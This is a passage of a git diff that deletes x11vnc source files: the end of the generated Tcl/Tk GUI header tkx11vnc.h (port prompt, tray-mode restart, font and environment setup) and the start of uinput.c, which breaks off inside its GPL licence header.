-" set str \"x11vnc server.\"\n"
-" if {$x11vnc_xdisplay != \"\"} {\n"
-" set str $x11vnc_xdisplay\n"
-" }\n"
-" set msg \"No reply from $str\"\n"
-" set_info $msg\n"
-" append_text \"$msg\\n\"\n"
-" set_connected no\n"
-" return 0\n"
-" }\n"
-"}\n"
-"\n"
-"proc set_view_variable {val} {\n"
-" global menu_var\n"
-" set menu_var(WindowView) $val\n"
-"}\n"
-"proc get_view_variable {} {\n"
-" global menu_var\n"
-" if {![info exists menu_var(WindowView)]} {\n"
-" set menu_var(WindowView) \"none\"\n"
-" }\n"
-" return $menu_var(WindowView)\n"
-"}\n"
-"\n"
-"proc dono {a b c} {\n"
-" exit 1;\n"
-"}\n"
-"\n"
-"proc do_port_prompt {} {\n"
-" global bfont ffont\n"
-" global port_reply port_set\n"
-"\n"
-" set guess 5900\n"
-" for {set i 0} {$i < 50} {incr i} {\n"
-" set fh \"\"\n"
-" set try [expr $guess + $i]\n"
-" catch {set fh [socket -server dono $try]}\n"
-" if {$fh != \"\"} {\n"
-" catch {close $fh}\n"
-" set guess $try\n"
-" break;\n"
-" }\n"
-" }\n"
-" set hn \"\"\n"
-" catch {set hn [exec uname -n]}\n"
-" if {$hn == \"\"} {\n"
-" set hn \"hostname\"\n"
-" }\n"
-"\n"
-" set text \" Set the x11vnc Listening Port:\n"
-"\n"
-" VNC Display :0 corresponds to TCP port 5900\n"
-" VNC Display :1 corresponds to TCP port 5901\n"
-" etc.\n"
-"\n"
-" In the Entry below, indicate a Port for x11vnc to listen on. \n"
-"\n"
-" Note that to connect to x11vnc, a VNC Viewer will need to\n"
-" know your selection, for example:\n"
-"\n"
-" vncviewer $hn:0\n"
-" vncviewer $hn:1\n"
-" etc.\n"
-"\n"
-" Your firewall may block incoming connections to TCP ports;\n"
-" if it does you may need to reconfigure it. \n"
-" \n"
-" You can also set some additional parameters:\n"
-"\n"
-" - Enable SSL encryption.\n"
-" (requires an SSL enabled vncviewer, such as SSVNC) \n"
-" - Listen only on localhost. (e.g. for an SSH tunnel)\n"
-" - Enable UltraVNC or TightVNC File transfer.\n"
-"\"\n"
-" set port_set $guess\n"
-" set port_reply \"\"\n"
-"\n"
-" toplevel .pp\n"
-" wm title .pp \"Select x11vnc port\"\n"
-"\n"
-" wm protocol . WM_DELETE_WINDOW \"destroy .; exit\"\n"
-" wm protocol .pp WM_DELETE_WINDOW \"destroy .pp; exit\"\n"
-"\n"
-" label .pp.m -text \"$text\" -relief ridge -justify left -font $ffont\n"
-"\n"
-" global tk_version\n"
-" set tkold 0\n"
-" if [info exists tk_version] {\n"
-" if [regexp {^8\\.[0-3]$} $tk_version] {\n"
-" set tkold 1\n"
-" }\n"
-" if [regexp {^[3-7]\\.} $tk_version] {\n"
-" set tkold 1\n"
-" }\n"
-" }\n"
-"\n"
-" if {$tkold} {\n"
-" frame .pp.f -bd 1 -relief ridge\n"
-" } else {\n"
-" frame .pp.f -bd 1 -relief ridge -pady 2\n"
-" }\n"
-" label .pp.f.l -text \"Port: \" -font $bfont\n"
-" entry .pp.f.e -width 8 -textvariable port_set -font $ffont\n"
-" global enable_ssl; set enable_ssl 0\n"
-" if [info exists env(X11VNC_SSL_ENABLED)] {\n"
-" set enable_ssl 1\n"
-" }\n"
-" checkbutton .pp.f.ssl -relief raised -pady 3 -padx 3 -text \"Enable SSL\" -variable enable_ssl -font $bfont\n"
-" global localhost; set localhost 0\n"
-" if [info exists env(X11VNC_LOCALHOST_ENABLED)] {\n"
-" set localhost 1\n"
-" }\n"
-" checkbutton .pp.f.loc -relief raised -pady 3 -padx 3 -text \"Listen on localhost\" -variable localhost -font $bfont\n"
-" pack .pp.f.l .pp.f.e -side left\n"
-" pack .pp.f.loc .pp.f.ssl -side right\n"
-"\n"
-" if {$tkold} {\n"
-" frame .pp.t -bd 1 -relief ridge\n"
-" } else {\n"
-" frame .pp.t -bd 1 -relief ridge -pady 2\n"
-" }\n"
-" global file_transfer; set file_transfer \"none\"\n"
-" if [info exists env(X11VNC_FILETRANSFER_ENABLED)] {\n"
-" set file_transfer $env(X11VNC_FILETRANSFER_ENABLED)\n"
-" }\n"
-" label .pp.t.l -text \"File Transfer: \" -font $bfont\n"
-" radiobutton .pp.t.none -text \"None\" -variable file_transfer -value \"none\" -font $bfont\n"
-" radiobutton .pp.t.ultra -text \"UltraVNC\" -variable file_transfer -value \"ultra\" -font $bfont\n"
-" radiobutton .pp.t.tight -text \"TightVNC\" -variable file_transfer -value \"tight\" -font $bfont\n"
-" pack .pp.t.l .pp.t.none .pp.t.ultra .pp.t.tight -side left\n"
-"\n"
-" frame .pp.o -bd 1 -relief ridge\n"
-" button .pp.o.ok -text \"OK\" -command \"set port_reply 1; destroy .pp\" -font $bfont\n"
-" button .pp.o.cancel -text \"Cancel\" -command \"set port_reply 0; destroy .pp\" -font $bfont\n"
-" pack .pp.o.ok .pp.o.cancel -side left -fill x -expand 1\n"
-" pack .pp.m -side top -fill x -expand 1 \n"
-" pack .pp.f .pp.t .pp.o -side top -fill x\n"
-"\n"
-" focus .pp.f.e\n"
-" .pp.f.e icursor end\n"
-"\n"
-" wm withdraw .pp\n"
-" update\n"
-" center_win .pp\n"
-"\n"
-" wm minsize .pp [winfo width .pp] [winfo height .pp]\n"
-"\n"
-" bind .pp.f.e <KeyPress-Return> \"set port_reply 1; destroy .pp\"\n"
-"\n"
-" vwait port_reply\n"
-"\n"
-" if {$port_reply} {\n"
-" regsub -all {^:} $port_set \"\" port_set\n"
-" regsub -all {[ \\t]} $port_set \"\" port_set\n"
-" if {[regexp {^[0-9][0-9]*$} $port_set]} {\n"
-" if {$port_set < 0} {\n"
-" set port_set [expr 0 - $port_set]\n"
-" } elseif {$port_set < 200} {\n"
-" set port_set [expr $port_set + 5900]\n"
-" } \n"
-" puts \"$port_set:ssl${enable_ssl}:localhost$localhost:ft_$file_transfer\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc change_view_state {} {\n"
-" global menu_var gui_current_state\n"
-"\n"
-" set new [get_view_variable]\n"
-"\n"
-" if {![info exists gui_current_state]} {\n"
-" set gui_current_state \"\"\n"
-" }\n"
-" set old $gui_current_state\n"
-" #puts \"$old -> $new\"\n"
-"\n"
-" if {$old == $new} {\n"
-" return\n"
-" }\n"
-"\n"
-" if {$old == \"full\" || $old == \"icon\" || $old == \"tray\"} {\n"
-" ;\n"
-" } else {\n"
-" set old \"none\"\n"
-" }\n"
-"\n"
-" if {$new == \"full\" || $new == \"icon\" || $new == \"tray\"} {\n"
-" if {$old == \"tray\"} {\n"
-" # sigh XReparentWindow would be too easy...\n"
-" # undo_tray_embed\n"
-" restart_everything $new\n"
-" destroy .\n"
-" exit\n"
-" }\n"
-" make_gui $new\n"
-" if {$new == \"tray\"} {\n"
-" wm withdraw .\n"
-" }\n"
-" } else {\n"
-" set_view_variable $old\n"
-" }\n"
-"}\n"
-"\n"
-"proc setup_client_tail {} {\n"
-" global client_tail\n"
-" if {$client_tail != \"\"} {\n"
-" fileevent $client_tail readable read_client_tail\n"
-" }\n"
-"}\n"
-"\n"
-"proc setup_client_sock {{enable 1}} {\n"
-" global client_sock\n"
-" if {$client_sock != \"\"} {\n"
-" if {$enable} {\n"
-" fileevent $client_sock readable read_client_sock\n"
-" } else {\n"
-" fileevent $client_sock readable \"\"\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"proc setup_tray_embed {} {\n"
-" update\n"
-" set w [winfo width .]\n"
-" set h [winfo height .]\n"
-" if {$w < 24} {\n"
-" set w 24\n"
-" }\n"
-" if {$h < 24} {\n"
-" set h 24\n"
-" }\n"
-" wm minsize . $w $h\n"
-" set wid [winfo id .] \n"
-" push_new_value \"remote-cmd\" \"remote-cmd\" \"trayembed:$wid\" 0\n"
-"}\n"
-"\n"
-"proc restart_everything {gui_mode} {\n"
-" global env gui_argv0 x11vnc_prog full_win\n"
-" global icon_mode_at_startup\n"
-" global tray_embed tray_running\n"
-" if {$gui_mode == \"full\"} {\n"
-" set env(X11VNC_ICON_MODE) 0\n"
-" } elseif {$gui_mode == \"icon\"} {\n"
-" set env(X11VNC_ICON_MODE) 1\n"
-" } elseif {$gui_mode == \"tray\"} {\n"
-" if {$tray_running} {\n"
-" set env(X11VNC_ICON_MODE) \"RUNNING\"\n"
-" } else {\n"
-" set env(X11VNC_ICON_MODE) \"TRAY\"\n"
-" }\n"
-" }\n"
-" puts stderr \"\"\n"
-" puts stderr \"tkx11vnc: restarting gui to leave tray mode.\"\n"
-" puts stderr \" new gui will be running in the background.\"\n"
-" puts stderr \" use kill(1) rather than Ctrl-C to kill it.\"\n"
-" puts stderr \"\"\n"
-" if {[info exists env(X11VNC_RESTART_DEPTH)]} {\n"
-" set n $env(X11VNC_RESTART_DEPTH)\n"
-" incr n\n"
-" set env(X11VNC_RESTART_DEPTH) $n\n"
-" } else {\n"
-" set env(X11VNC_RESTART_DEPTH) 0\n"
-" }\n"
-" set env(X11VNC_ICON_SETPASS) \"\"\n"
-"\n"
-" if {![info exists env(X11VNC_WISHCMD)]} {\n"
-" puts stderr \"failure in restart_everything.\"\n"
-" exit 1;\n"
-" }\n"
-"\n"
-" set code [exec $x11vnc_prog -printgui]\n"
-" if {[string length $code] < 20000} {\n"
-" puts stderr \"failure in restart_everything.\"\n"
-" exit 1;\n"
-" }\n"
-" set tmp \"/tmp/x11vnc[pid]\"\n"
-" append tmp [clock clicks]\n"
-" set tmp2 \"\"\n"
-" catch {set tmp2 [exec mktemp $tmp.XXXXXX 2>/dev/null]}\n"
-" if {$tmp2 != \"\" && [file exists $tmp2]} {\n"
-" set tmp $tmp2\n"
-" } else {\n"
-" file delete -force $tmp\n"
-" if {[file exists $tmp]} {\n"
-" puts stderr \"failure in restart_everything.\"\n"
-" exit 1;\n"
-" }\n"
-" }\n"
-" set fh [open $tmp \"a\"]\n"
-" if {![file owned $tmp]} {\n"
-" puts stderr \"failure in restart_everything.\"\n"
-" exit 1;\n"
-" }\n"
-" file attributes $tmp -permissions \"0400\"\n"
-" puts $fh $code\n"
-" close $fh\n"
-"\n"
-" #puts stderr [exec ls -l $tmp]\n"
-"\n"
-" wm withdraw .\n"
-" catch {wm withdraw $full_win}\n"
-" update\n"
-"\n"
-" exec $env(X11VNC_WISHCMD) $tmp &\n"
-" after 2000\n"
-" file delete -force $tmp\n"
-" \n"
-" destroy .\n"
-" exit\n"
-"}\n"
-"\n"
-"proc undo_tray_embed {} {\n"
-" set wid [winfo id .] \n"
-" push_new_value \"remote-cmd\" \"remote-cmd\" \"trayunembed:$wid\" 0\n"
-"}\n"
-"\n"
-"############################################################################\n"
-"# main:\n"
-"\n"
-"if [info exists env(X11VNC_GUI_TIME)] {\n"
-" dtime M\n"
-"}\n"
-"\n"
-"wm withdraw .\n"
-"\n"
-"global env x11vnc_prog x11vnc_cmdline x11vnc_xdisplay x11vnc_connect;\n"
-"global x11vnc_xdisplay0\n"
-"global x11vnc_client_file x11vnc_gui_geom x11vnc_started vnc_url\n"
-"global x11vnc_gui_params\n"
-"global x11vnc_auth_file x11vnc_connect_file beginner_mode simple_gui_created\n"
-"global helpall helptext helpremote helplabel hostname osname\n"
-"global all_settings reply_xdisplay always_update\n"
-"global max_text_height max_text_width\n"
-"global text_height\n"
-"global menu_var unset_str menus_disabled\n"
-"global bfont ffont sfont snfont old_labels have_labelframes\n"
-"global connected_to_x11vnc\n"
-"global cache_all_query_vars\n"
-"global last_query_all_time query_all_freq client_tail client_sock client_info_read\n"
-"global icon_mode icon_mode_at_startup x11vnc_icon_mode\n"
-"global tray_embed tray_running icon_setpasswd icon_embed_id\n"
-"global icon_noadvanced icon_minimal\n"
-"global make_gui_count text_area_str\n"
-"global gui_argv0 gui_start_mode\n"
-"global screen_height screen_width\n"
-"\n"
-"set unset_str \"(unset)\"\n"
-"set vnc_url $unset_str\n"
-"set connected_to_x11vnc 0\n"
-"set menus_disabled 0\n"
-"set max_text_height 40\n"
-"set max_text_width 90\n"
-"set text_height 14\n"
-"set bfont \"-adobe-helvetica-bold-r-*-*-*-120-*-*-*-*-*-*\"\n"
-"set sfont \"-adobe-helvetica-bold-r-*-*-*-100-*-*-*-*-*-*\"\n"
-"set snfont \"-adobe-helvetica-medium-r-*-*-*-100-*-*-*-*-*-*\"\n"
-"set ffont \"fixed\"\n"
-"\n"
-"set got_helv 0\n"
-"catch {\n"
-" foreach fam [font families] {\n"
-" if {$fam == \"helvetica\"} {\n"
-" set got_helv 1\n"
-" }\n"
-" if {$fam == \"Helvetica\"} {\n"
-" set got_helv 1\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"if {$got_helv} {\n"
-" set bfont \"Helvetica -12 bold\"\n"
-" set sfont \"Helvetica -10 bold\"\n"
-" set snfont \"Helvetica -10\"\n"
-"}\n"
-"\n"
-"set ls \"\"\n"
-"catch {set ls [font metrics $bfont -linespace]}\n"
-"if {$ls != \"\" && $ls > 14} {\n"
-" # some recent setups have BIG rendering for the above fonts.\n"
-" # on recent (8/08) debian these are really ragged:\n"
-" set bfont \"-adobe-helvetica-bold-r-*-*-*-90-*-*-*-*-*-*\"\n"
-" set sfont \"-adobe-helvetica-bold-r-*-*-*-75-*-*-*-*-*-*\"\n"
-" set snfont \"-adobe-helvetica-medium-r-*-*-*-75-*-*-*-*-*-*\"\n"
-"\n"
-" set ls \"\"\n"
-" catch {set ls [font metrics $bfont -linespace]}\n"
-" if {$ls != \"\" && $ls < 14} {\n"
-" # these are bigger but look better... but for how long?\n"
-" set bfont \"-adobe-helvetica-bold-r-*-*-*-100-*-*-*-*-*-*\"\n"
-" set sfont \"-adobe-helvetica-bold-r-*-*-*-80-*-*-*-*-*-*\"\n"
-" set snfont \"-adobe-helvetica-medium-r-*-*-*-80-*-*-*-*-*-*\"\n"
-"\n"
-" # maybe consider... {-font font Font {Helvetica -12 bold} {Helvetica -12 bold}}\n"
-" # or stick with system font like ssvnc.\n"
-" }\n"
-"}\n"
-"\n"
-"# need to check if \"fixed\" font under XFT on tk8.5 is actually fixed width!!\n"
-"set ls \"\"\n"
-"catch {set ls [font metrics $ffont -linespace]}\n"
-"set fs \"\"\n"
-"catch {set fs [font metrics $ffont -fixed]}\n"
-"set redo 0\n"
-"if {$fs != \"\" && $fs != \"1\"} {\n"
-" set redo 1\n"
-"}\n"
-"if {$ls != \"\" && $ls > 14} {\n"
-" set redo 1\n"
-"}\n"
-"if {$redo} {\n"
-" foreach fn [font names] {\n"
-" if {$fn == \"TkFixedFont\"} {\n"
-" set ffont $fn\n"
-" break\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"set help_indent 24;\n"
-"set reply_xdisplay \"\"\n"
-"set all_settings \"None so far.\"\n"
-"set always_update 1\n"
-"set cache_all_query_vars \"\"\n"
-"set query_all_freq 120\n"
-"set last_query_all_time [clock seconds]\n"
-"set client_tail \"\"\n"
-"set client_sock \"\"\n"
-"set client_info_read 0\n"
-"set make_gui_count 0\n"
-"set text_area_str \"\"\n"
-"set gui_argv0 $argv0\n"
-"set gui_start_mode \"\"\n"
-"\n"
-"if {$tk_version < 8.0} {\n"
-" puts stderr \"\"\n"
-" puts stderr \"*** tkx11vnc: tk version is old $tk_version, please use 8.0 or higher.\"\n"
-" puts stderr \"*** will try to continue with reduced functionality...\"\n"
-" puts stderr \"\"\n"
-"}\n"
-"if {[regexp {^[34]} $tk_version] || $tk_version == \"8.0\"} {\n"
-" set old_labels 1\n"
-"} else {\n"
-" set old_labels 0\n"
-"}\n"
-"set have_labelframes 1\n"
-"if {$tk_version < 8.4} {\n"
-" set have_labelframes 0\n"
-"}\n"
-"\n"
-"set screen_height [winfo screenheight .]\n"
-"set screen_width [winfo screenwidth .]\n"
-"if {$screen_height < 700} {\n"
-" # short screen, netbook?\n"
-" set max_text_height 30\n"
-" if {$screen_height < 500} {\n"
-" # short screen, PDA?\n"
-" set max_text_height 22\n"
-" set text_height 13\n"
-" if {$screen_height <= 360} {\n"
-" # very short.\n"
-" set max_text_height 16\n"
-" set max_text_width 60\n"
-" set text_height 11\n"
-" }\n"
-" }\n"
-"}\n"
-"if {[info exists env(X11VNC_GUI_TEXT_HEIGHT)]} {\n"
-" set max_text_height $env(X11VNC_GUI_TEXT_HEIGHT)\n"
-"}\n"
-"if {[info exists env(X11VNC_GUI_TEXT_WIDTH)]} {\n"
-" set max_text_width $env(X11VNC_GUI_TEXT_WIDTH)\n"
-"}\n"
-"\n"
-"if {\"$argv\" == \"-spit\"} {\n"
-" set fh [open $argv0 r]\n"
-" puts \"#ifndef _TKX11VNC_H\"\n"
-" puts \"#define _TKX11VNC_H\"\n"
-" puts \"#ifdef NOGUI\"\n"
-" puts \"char gui_code\\[\\] = \\\"\\\";\"\n"
-" puts \"#else\"\n"
-" puts \"/*\"\n"
-" puts \" * tkx11vnc.h: generated by 'tkx11vnc -spit'\"\n"
-" puts \" * Abandon all hope, ye who enter here...\"\n"
-" puts \" * ...edit tkx11vnc instead.\"\n"
-" puts \" */\"\n"
-" puts \" char gui_code\\[\\] =\"\n"
-" while {[gets $fh line] > -1} {\n"
-" regsub -all {\\\\} $line {\\\\\\\\} line\n"
-" regsub -all {\"} $line {\\\\\"} line\n"
-" puts \"\\\"$line\\\\n\\\"\"\n"
-" }\n"
-" puts \"#endif\"\n"
-" puts \"/* ifdef NOGUI */\"\n"
-" puts \"#endif\"\n"
-" puts \"/* ifndef _TKX11VNC_H */\"\n"
-" close $fh\n"
-" puts \";\"\n"
-" exit 0\n"
-"}\n"
-"\n"
-"set_view_variable \"full\"\n"
-"\n"
-"#puts [exec env | grep X11VNC]\n"
-"\n"
-"# Read environment for clues:\n"
-"\n"
-"set x11vnc_client_file \"\";\n"
-"if {[info exists env(X11VNC_CLIENT_FILE)]} {\n"
-" set x11vnc_client_file $env(X11VNC_CLIENT_FILE);\n"
-" set file $x11vnc_client_file\n"
-"\n"
-" set client_tail \"\"\n"
-" if {[file exists $file] && [file isfile $file]} {\n"
-" if {[file readable $file] && [file owned $file]} {\n"
-" set client_tail [open \"|tail -f $x11vnc_client_file\" \"r\"]\n"
-" }\n"
-" }\n"
-" if {$client_tail != \"\"} {\n"
-" gets $client_tail tmp\n"
-" if [eof $client_tail] {\n"
-"#puts \"eof $client_tail\"\n"
-" clean_client_tail\n"
-" set client_tail \"\"\n"
-" }\n"
-" }\n"
-" catch {file delete -force $x11vnc_client_file}\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_PROG)]} {\n"
-" set x11vnc_prog $env(X11VNC_PROG);\n"
-"} else {\n"
-" set x11vnc_prog \"x11vnc\";\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_CMDLINE)]} {\n"
-" set x11vnc_cmdline $env(X11VNC_CMDLINE);\n"
-"} else {\n"
-" set x11vnc_cmdline \"\";\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_CONNECT)]} {\n"
-" set x11vnc_connect 1\n"
-"} else {\n"
-" set x11vnc_connect 0;\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_GUI_GEOM)]} {\n"
-" set x11vnc_gui_geom $env(X11VNC_GUI_GEOM);\n"
-"} else {\n"
-" set x11vnc_gui_geom \"\"\n"
-"}\n"
-"if {[info exists env(X11VNC_GUI_PARAMS)]} {\n"
-" set x11vnc_gui_params $env(X11VNC_GUI_PARAMS);\n"
-"} else {\n"
-" set x11vnc_gui_params \"\"\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_FONT_BOLD)]} {\n"
-" set bfont $env(X11VNC_FONT_BOLD)\n"
-"}\n"
-"if {[info exists env(X11VNC_FONT_BOLD_SMALL)]} {\n"
-" set sfont $env(X11VNC_FONT_BOLD_SMALL)\n"
-"}\n"
-"if {[info exists env(X11VNC_FONT_REG_SMALL)]} {\n"
-" set snfont $env(X11VNC_FONT_REG_SMALL)\n"
-"}\n"
-"if {[info exists env(X11VNC_FONT_FIXED)]} {\n"
-" set ffont $env(X11VNC_FONT_FIXED)\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_CONNECT_FILE)]} {\n"
-" set x11vnc_connect_file $env(X11VNC_CONNECT_FILE);\n"
-"} else {\n"
-" set x11vnc_connect_file \"\";\n"
-"}\n"
-"\n"
-"set x11vnc_started 0\n"
-"if {[info exists env(X11VNC_STARTED)]} {\n"
-" set x11vnc_started 1\n"
-"}\n"
-"\n"
-"set x11vnc_xdisplay \"\"\n"
-"if {[info exists env(X11VNC_XDISPLAY)]} {\n"
-" set x11vnc_xdisplay $env(X11VNC_XDISPLAY);\n"
-" set x11vnc_connect 1\n"
-"\n"
-"} elseif {$argv != \"\" && [regexp {:[0-9]} $argv]} {\n"
-" set env(X11VNC_XDISPLAY) \"$argv\"\n"
-" set x11vnc_xdisplay \"$argv\"\n"
-" set x11vnc_connect 1\n"
-"\n"
-"} elseif {[info exists env(DISPLAY)]} {\n"
-" set x11vnc_xdisplay $env(DISPLAY);\n"
-"} else {\n"
-" set x11vnc_xdisplay \":0\";\n"
-"}\n"
-"set x11vnc_xdisplay0 $x11vnc_xdisplay\n"
-"\n"
-"if {[info exists env(X11VNC_AUTH_FILE)]} {\n"
-" set x11vnc_auth_file $env(X11VNC_AUTH_FILE)\n"
-"} else {\n"
-" set x11vnc_auth_file \"\"\n"
-"}\n"
-"\n"
-"set simple_gui_created 0\n"
-"if {[info exists env(X11VNC_SIMPLE_GUI)]} {\n"
-" set beginner_mode 1\n"
-"} else {\n"
-" set beginner_mode 0\n"
-"}\n"
-"\n"
-"set icon_mode 0\n"
-"set x11vnc_icon_mode 0\n"
-"set tray_embed 0\n"
-"set tray_running 0\n"
-"\n"
-"if {![info exists env(X11VNC_ICON_MODE_AT_STARTUP)]} {\n"
-" if {[info exists env(X11VNC_ICON_MODE)]} {\n"
-" if {$env(X11VNC_ICON_MODE) != 0} {\n"
-" set env(X11VNC_ICON_MODE_AT_STARTUP) 1\n"
-" } else {\n"
-" set env(X11VNC_ICON_MODE_AT_STARTUP) 0\n"
-" }\n"
-" } else {\n"
-" set env(X11VNC_ICON_MODE_AT_STARTUP) 0\n"
-" }\n"
-"}\n"
-"set icon_mode_at_startup $env(X11VNC_ICON_MODE_AT_STARTUP)\n"
-"\n"
-"if {![info exists env(X11VNC_ICON_MODE)]} {\n"
-" set icon_mode 0\n"
-"} elseif {$env(X11VNC_ICON_MODE) == \"\" || $env(X11VNC_ICON_MODE) == \"0\"} {\n"
-" set icon_mode 0\n"
-"} else {\n"
-" set icon_mode 1\n"
-" set_view_variable \"icon\"\n"
-" if [regexp -nocase {TRAY} $env(X11VNC_ICON_MODE)] {\n"
-" set tray_embed 1\n"
-" }\n"
-" if [regexp -nocase {RUNNING} $env(X11VNC_ICON_MODE)] {\n"
-" set tray_running 1\n"
-" }\n"
-"}\n"
-"\n"
-"set icon_setpasswd 0\n"
-"if {[info exists env(X11VNC_ICON_SETPASS)]} {\n"
-" if {$env(X11VNC_ICON_SETPASS) != \"\"} {\n"
-" set icon_setpasswd 1\n"
-" }\n"
-"}\n"
-"\n"
-"set icon_noadvanced 0\n"
-"if {[info exists env(X11VNC_ICON_NOADVANCED)]} {\n"
-" set icon_noadvanced 1\n"
-"}\n"
-"\n"
-"set icon_minimal 0\n"
-"if {[info exists env(X11VNC_ICON_MINIMAL)]} {\n"
-" set icon_minimal 1\n"
-"}\n"
-"\n"
-"if {[info exists env(X11VNC_ICON_EMBED_ID)]} {\n"
-" set icon_embed_id $env(X11VNC_ICON_EMBED_ID)\n"
-"} else {\n"
-" set icon_embed_id \"\"\n"
-"}\n"
-"\n"
-"\n"
-"set hostname [exec uname -n]\n"
-"set osname [exec uname]\n"
-"\n"
-"if {[regexp -nocase {IRIX} $osname]} {\n"
-" # IRIX \"fixed\" font is huge and doublespaced... \n"
-" set ffont $snfont\n"
-"}\n"
-"if {[regexp -nocase {Darwin} $osname]} {\n"
-" set ffont {Monaco 10}\n"
-" set bfont {system}\n"
-"}\n"
-"\n"
-"if {\"$argv\" == \"-portprompt\"} {\n"
-" do_port_prompt\n"
-" exit 0\n"
-"}\n"
-"\n"
-"#puts [exec env]\n"
-"#puts \"x11vnc_xdisplay: $x11vnc_xdisplay\"\n"
-"\n"
-"set env(X11VNC_STD_HELP) 1\n"
-"\n"
-"# scrape the help output for the text and remote control vars:\n"
-"parse_help;\n"
-"parse_remote_help;\n"
-"parse_query_help;\n"
-"\n"
-"# tweaks to duplicate help text:\n"
-"tweak_remote_help lock deny\n"
-"tweak_remote_help unlock deny\n"
-"\n"
-"tweak_both quiet q\n"
-"tweak_help logfile o\n"
-"tweak_both xwarppointer xwarp\n"
-"tweak_both screen_blank sb\n"
-"\n"
-"set_template\n"
-"\n"
-"set_name \"tkx11vnc\"\n"
-"\n"
-"key_bindings;\n"
-"\n"
-"get_default_vars\n"
-"\n"
-"dtime D\n"
-"\n"
-"proc check_setpasswd {} {\n"
-" global env icon_setpasswd\n"
-" global do_props_msg\n"
-" set do_props_msg \"\"\n"
-" if {$icon_setpasswd} {\n"
-" set m \"\\n\"\n"
-" set m \"${m} Note the x11vnc icon in the system tray.\\n\" \n"
-" set m \"${m} This panel is its 'Properties' dialog.\\n\" \n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} To specify a Session Password and to\\n\" \n"
-" set m \"${m} allow VNC viewers to connect, follow\\n\" \n"
-" set m \"${m} these steps:\\n\" \n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} Enter a passwd in the Password field\\n\" \n"
-" set m \"${m} (it can be left blank.) You can also\\n\" \n"
-" set m \"${m} supply a ViewOnly passwd if desired.\\n\" \n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} Set 'Accept Connections' and then Press \\n\" \n"
-" set m \"${m} 'Apply' to allow incoming connections.\\n\" \n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} No Viewer can connect until you do this.\\n\" \n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} The passwords are only for this x11vnc\\n\" \n"
-" set m \"${m} session and are not saved. Run x11vnc\\n\" \n"
-" set m \"${m} manually for more control (e.g. -rfbauth \\n\" \n"
-" set m \"${m} for a saved password.)\\n\" \n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} See 'Help' for details on each option.\\n\" \n"
-"\n"
-" global x11vnc_cmdline\n"
-"\n"
-" set dossl 0\n"
-" if {[info exists x11vnc_cmdline]} {\n"
-" if [regexp -- {-ssl} $x11vnc_cmdline] {\n"
-" set dossl 1\n"
-" }\n"
-" }\n"
-" if {$dossl || [info exists env(X11VNC_GOT_SSL)]} {\n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} SSL encryption mode active. You can\\n\" \n"
-" set m \"${m} find your Public Cert in the Logfile\\n\" \n"
-" set m \"${m} and also the ~/.vnc/certs directory.\\n\" \n"
-" }\n"
-"\n"
-" if {[info exists env(X11VNC_SETPASS_FAIL)]} {\n"
-" set pp 5900\n"
-" if {[info exists env(X11VNC_GOT_RFBPORT_VAL)]} {\n"
-" if {$env(X11VNC_GOT_RFBPORT_VAL) > 0} {\n"
-" set pp $env(X11VNC_GOT_RFBPORT_VAL)\n"
-" }\n"
-" }\n"
-" \n"
-" set m \" The x11vnc program failed to start! \\n\"\n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} Maybe there is another VNC server\\n\"\n"
-" set m \"${m} already listening on port $pp?\\n\"\n"
-" set m \"${m}\\n\" \n"
-" set m \"${m} You will need to start over after\\n\"\n"
-" set m \"${m} you make sure x11vnc can start.\\n\"\n"
-" }\n"
-" \n"
-" set do_props_msg $m\n"
-" do_props\n"
-" }\n"
-"}\n"
-"\n"
-"if {0} {\n"
-" if {[info exists env(X11VNC_ICON_SETPASS)]} {\n"
-" if {$env(X11VNC_ICON_SETPASS) == \"2\"} {\n"
-" global icon_mode_at_startup icon_mode\n"
-" set icon_mode_at_startup 1\n"
-" set icon_mode 2\n"
-" }\n"
-" }\n"
-"}\n"
-"\n"
-"if {$icon_mode} {\n"
-" if {$icon_mode == 2} {\n"
-" make_gui \"full\"\n"
-" } elseif {$tray_embed} {\n"
-" make_gui \"tray\"\n"
-" } else {\n"
-" make_gui \"icon\"\n"
-" }\n"
-" dtime G\n"
-" old_balloon\n"
-" check_setpasswd\n"
-" push_new_value \"remote-cmd\" \"remote-cmd\" \"Q:clients\" 1\n"
-"} else {\n"
-" make_gui \"full\"\n"
-" dtime G\n"
-" check_setpasswd\n"
-"}\n"
-"\n"
-"\n"
-"# main loop.\n"
-#endif
-/* ifdef NOGUI */
-#endif
-/* ifndef _TKX11VNC_H */
-;
diff --git a/x11vnc/uinput.c b/x11vnc/uinput.c
deleted file mode 100644
index 92bd1d8..0000000
--- a/x11vnc/uinput.c
+++ /dev/null
@@ -1,1876 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
